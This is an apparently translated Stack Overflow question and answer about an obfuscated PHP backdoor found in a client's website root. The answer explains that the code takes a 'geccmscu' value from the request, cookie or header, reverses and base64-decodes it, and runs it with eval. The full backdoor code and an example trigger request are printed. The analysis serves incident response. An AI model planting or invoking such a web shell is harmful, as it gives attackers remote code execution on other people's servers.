这个PHP代码有什么作用?看起来像黑客

Tyl*_*ter 3 php security

我在客户端站点的根目录中找到了此代码.我解密它意味着以下内容:

$brownies = create_function( ' ', eval(array_pop(func_get_args())); );

$brownies('L','9','$','>','','K','H','B','m', $i=array_merge($_REQUEST,$_COOKIE,$_SERVER); $a=isset($i["geccmscu"]) ? $i["geccmscu"] : (isset($i["HTTP_GECCMSCU"]) ? $i["HTTP_GECCMSCU"] : die ); eval(strrev(base64_decode(strrev($a)))););
Run Code Online (Sandbox Code Playgroud)

看起来它正在从cookie或用户那里获取代码并对其进行评估,但我无法从那里进一步说明.

有人对此有所了解吗?

lau*_*ent 10

这里的代码有一些缩进:

$brownies = create_function( ' ', eval(array_pop(func_get_args())); );

$brownies('L','9','$','>','','K','H','B','m',

$i=array_merge($_REQUEST,$_COOKIE,$_SERVER);

$a=isset($i["geccmscu"]) ? $i["geccmscu"] :
    (isset($i["HTTP_GECCMSCU"]) ? $i["HTTP_GECCMSCU"] : die );

eval(strrev(base64_decode(strrev($a)))););
Run Code Online (Sandbox Code Playgroud)

首先,它检查cookie,请求和服务器值($i变量)中是否有"geccmscu"键.如果不是,则检查是否定义了具有相同名称的头("HTTP_GECCMSCU").如果没有,脚本就会停在那里.

如果在某处定义了"geccmscu"变量,则将其存储在$a.然后脚本对其进行解码(内容使用strrev和base64"加密")并通过执行它eval()

基本上,有人可能会使用HTTP查询攻击您的服务器,例如:

GET http://example.com?geccmscu=someevilphpcode
Run Code Online (Sandbox Code Playgroud)

然后"someevilphpcode"将在您的服务器上解码并执行.